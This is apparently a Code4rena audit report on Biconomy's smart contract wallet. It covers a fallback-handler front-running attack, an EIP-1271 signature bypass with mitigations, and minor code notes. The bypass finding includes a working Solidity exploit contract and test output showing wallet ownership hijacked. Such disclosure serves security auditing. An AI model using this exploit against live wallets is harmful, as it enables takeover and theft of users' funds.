Biconomy - Smart Contract Wallet contest - Lirios's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/base/FallbackManager.sol#L32-L52 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33

Vulnerability details

The SmartAccountFactory.deployCounterFactualWallet function creates a proxy for an owner in a deterministic way. Besides the owner address and index, which are used to define the proxy address, the caller can also supply the endpoint and handler addresses. This means a malicious user can create a wallet for a target owner with custom endpoint and/or handler. Since there is only one endpoint per chain, changing the endpoint will basically break EIP4337 functionality, so this is pretty pointless. Being able to set a different handler does allow various attack scenarios.

The _handler parameter sets the fallbackhandler address. When the proxy is called with a non existing function selector, it will be handled by the fallback manager function which forwards the call to the handler contract. By default this is set to DefaultCallbackHandler.

Impact, Severity and Risk

The basis is to set a token address or a dApp contract as a handler. The fallback will then directly call the functions in that contract. So if for example the WETH contract is set as the handler, when the wallet has any WETH, we can directly call the WETH functions directly from the wallet via the fallback, making it possible to transfer or approve the tokens.

The impact depends a lot on the future dApps that will be using the wallets. In the 'ideal' scenario, it is possible to steal all or some of the assets in the wallet. For this to happen, a lot of conditions should be met, making it hard to succees in real life.
For this I have set the severity to Medium instead of High.

1. Need to choose a target owner beforehand. Before the wallet is created, it is hard to guess which owner will fund the wallet with which kind of assets, and how he will use it. This makes it hard to choose a possible victim
2. Create the wallet with modified handler without raising suspicion of the owner. It is possible to front-run wallet creation. If the owner creates the wallet himself, their transaction will fail and raise suspicion. If a dApp automatically creates wallets for its users it might go unnoticed. Is is also possible to pre-create the wallet, hoping that a user will later try to create one. This could be a scenario when a user is actively using a wallet on 1 chain. It is then possible to create the same wallet with different handler on other chains and hope that one day the user will also use the wallet on other chains. If the new handler does not have the ERC1155, ERC777, ERC721 and IERC165 receiver functions, receiving tokens which support any of those interfaces will fail, raising suspicion.
3. You have to guess/know how the wallet will be used to be able to setup the right handler (which token, protocol, etc).
4. There can be a long time between creating the wallet and possible abuse, making it easier to detect.

Impact and example scenarios

Specific app based:

Imagine an example company wich lets users buy USDC with creditcard. The user only needs to connect to the website to verify their address. The platform creates SmartAccount wallets for its users and users can make transactions via their platform, paying the gas in USDC. It is then very likely that new wallets of this app will be funded with USDC. We frontrun deployCounterFactualWallet calls made by this platform and replace handler with the USDC contract address. When USDC is received by a wallet, we can take it by simply calling SmartAccount.transfer(....). Since the SmartAccount contract does not have a transfer function, this will fallback and forward the call to the handler contract (USDC).

User based example

A user with a well funded wallet is actively using it on the ethereum network. The user only has normal ERC20 tokens in the wallet, and often swaps them via uniswap. We can create a wallet with the same address on other chains, using the uniswap router contract as handler. If one day the user, or some of the dApps he uses, moves to another chain and starts to use the wallet there, it might be possible to call the contract via fallback and steal some of the funds.

Recommended Mitigation Steps

It might be an option to change fallback manager call to a staticcall. This removes the possibility of an exploit.
Unwanted side effect might be that it is then not possible to add events to the handler contract.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

SmartAccount.execTransaction allows the execution of a transaction signed by the owner. If the owner is an EOA this is done with normal signature. If the owner is a (multisig) contract, it uses the EIP1271 signature validation method. This is done in the checkSignatures function.

The checkSignatures implementation lacks the check that the contract approving the EIP1271 isValidSignature call is indeed the wallet owner. This allows any contract to approve the signature and allow any transaction to be processed by the contract. This is basically giving complete control of the wallet and its assets.

The contract that is used to return isValidSignature comes from user supplied data and can be set to any contract. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317 If that contract's isValidSignature returns EIP1271_MAGIC_VALUE the transaction is approved. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342

Proof of Concept

For a proof of concept, I have created a simple solidity contract to demonstrate the vulnerability. Though any contract call can be made, I have chosen use setOwner to change the owner of the wallet because this is simple to verify.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

import './smart-contract-wallet/SmartAccount.sol';
import "./smart-contract-wallet/BaseSmartAccount.sol";

contract Exploit {
    function isValidSignature( bytes calldata , bytes calldata ) external pure returns (bytes4 magicValue) {
        // always return magicValue, approve all signatures 
        return 0x20c13b0b;
    }

    function setSmartAccountOwner(SmartAccount smartAccountProxy,address newOwner) external {
        FeeRefund memory refundInfo;
        Transaction memory _tx;
        _tx.to = address(smartAccountProxy);
        _tx.data =  abi.encodeWithSignature("setOwner(address)", address(newOwner));

        // create fake/dummy signature
        bytes memory signatures;
        bytes32 r = bytes32(uint256(uint160(address(this))));
        uint256 sixtyfive = 65;
        bytes32 s = bytes32(sixtyfive);
        uint8 v = 0; // contract signature
        signatures = abi.encode(r,s,v,s); // add extra s as dummy data to pass length check

        // fake signature accepted and setOwner processed
        smartAccountProxy.execTransaction(_tx, 0, refundInfo, signatures);
    } 
}

I have added the exploit to the proxy-deploy.ts test:
diff --git a/scw-contracts/test/smart-wallet/proxy-deploy.ts b/scw-contracts/test/smart-wallet/proxy-deploy.ts index 25a3ba9..0cd94db 100644 --- a/scw-contracts/test/smart-wallet/proxy-deploy.ts +++ b/scw-contracts/test/smart-wallet/proxy-deploy.ts @@ -48,6 +48,16 @@ describe("Wallet Deployment", function () { .to.emit(walletFactory, "SmartAccountCreated") .withArgs(expected, baseImpl.address, owner, "1.0.2", 0);

+      const Exploit = await ethers.getContractFactory("Exploit");
+      const exploit = await Exploit.deploy();
+      const wallet = SmartWallet.attach(expected);
+      console.log("-");
+      console.log("SmartAccount(",expected, ").owner = ", await wallet.owner());
+      console.log("Exploit contract deployed at: ",  exploit.address);
+      console.log("call exploit.setSmartAccountOwner(",expected,",0xbadbadbadbadbbadbadbadbadbadbadbadbadbad)");
+      await exploit.setSmartAccountOwner(expected,"0xbadbadbadbadbbadbadbadbadbadbadbadbadbad");      
+      console.log("SmartAccount(",expected,").owner after exploit = ", await wallet.owner());
+
    // const deployed = await walletFactory.deployCounterFactualWallet(owner);
    // console.log("deployed new wallet..address: ", deployed);
});

the results: the wallet proxy is deployed to the expected address and the Exploit script is able to change the owner:

npx hardhat test .\test\smart-wallet\proxy-deploy.ts
No need to generate any newer typings.


Wallet Deployment
wallet factory deployed at:  0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Entry point deployed at:  0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0
Default callback handler deployed at:  0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
deploying new wallet..expected address:  0xc0824c44Fd1647Afe312C5d321bE131CD16dDc0D
-
SmartAccount( 0xc0824c44Fd1647Afe312C5d321bE131CD16dDc0D ).owner =  0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Exploit contract deployed at:  0x5FC8d32690cc91D4c39d9d3abcBD16989F875707
call exploit.setSmartAccountOwner( 0xc0824c44Fd1647Afe312C5d321bE131CD16dDc0D ,0xbadbadbadbadbbadbadbadbadbadbadbadbadbad)
SmartAccount( 0xc0824c44Fd1647Afe312C5d321bE131CD16dDc0D ).owner after exploit =  0xbadbAdbAdbadbBADBADbadbadBAdBAdbADBADbAD
    ✔ Should deploy the wallet from proxy as intended (2366ms)


1 passing (2s)

Tools Used

manual review

Recommended Mitigation Steps

The require(_signer == owner, "INVALID_SIGNATURE"); should also be checked when (v == 0). Since it is then needed for all the if/else blocks, it is better to palce it outside of the if statement

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
index c4f69a8..0e8ebe6 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
@@ -345,11 +345,10 @@ contract SmartAccount is
            // If v > 30 then default va (27,28) has been adjusted for eth_sign flow
            // To support eth_sign and similar we adjust v and hash the messageHash with the Ethereum message prefix before applying ecrecover
            _signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v - 4, r, s);
-            require(_signer == owner, "INVALID_SIGNATURE");
        } else {
            _signer = ecrecover(dataHash, v, r, s);
-            require(_signer == owner, "INVALID_SIGNATURE");
        }
+        require(_signer == owner, "INVALID_SIGNATURE");
    }

    /// @dev Allows to estimate a transaction.

[N-01] SmartAccount.init Incorrect errormessage handler validation

The errormessage of the handler validation is incorrect.

    require(_handler != address(0), "Invalid Entrypoint");

Should be

    require(_handler != address(0), "Invalid handler");

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L171

[N-02] SmartAccount.init double handler != 0 check

In the init function, we see the following line:

    if (_handler != address(0)) internalSetFallbackHandler(_handler);

Af few lines above is

    require(_handler != address(0), "Invalid Entrypoint");

If _handler would be address(0) the require would have reverted the transaction and never reached the if statement. This makes the if statement redundant and not needed, it can be replaced by internalSetFallbackHandler(_handler); https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L174

[N-03] SmartAccount.execute Confusing, unneeded _requireFromEntryPointOrOwner call

execute function calls _requireFromEntryPointOrOwner, which implies that the function can be called from owner or entrypoint. The function has an onlyOwner modifier. Because of the onlyOwner modifier, it can only be called by owner and the _requireFromEntryPointOrOwner will always return true, so should be removed. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L461

[N-04] SmartAccount.executeBatch Confusing, unneeded _requireFromEntryPointOrOwner call

executeBatch function calls _requireFromEntryPointOrOwner, which implies that the function can be called from owner or entrypoint. The function has an onlyOwner modifier. Because of the onlyOwner modifier, it can only be called by owner and the _requireFromEntryPointOrOwner will always return true, so should be removed. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L466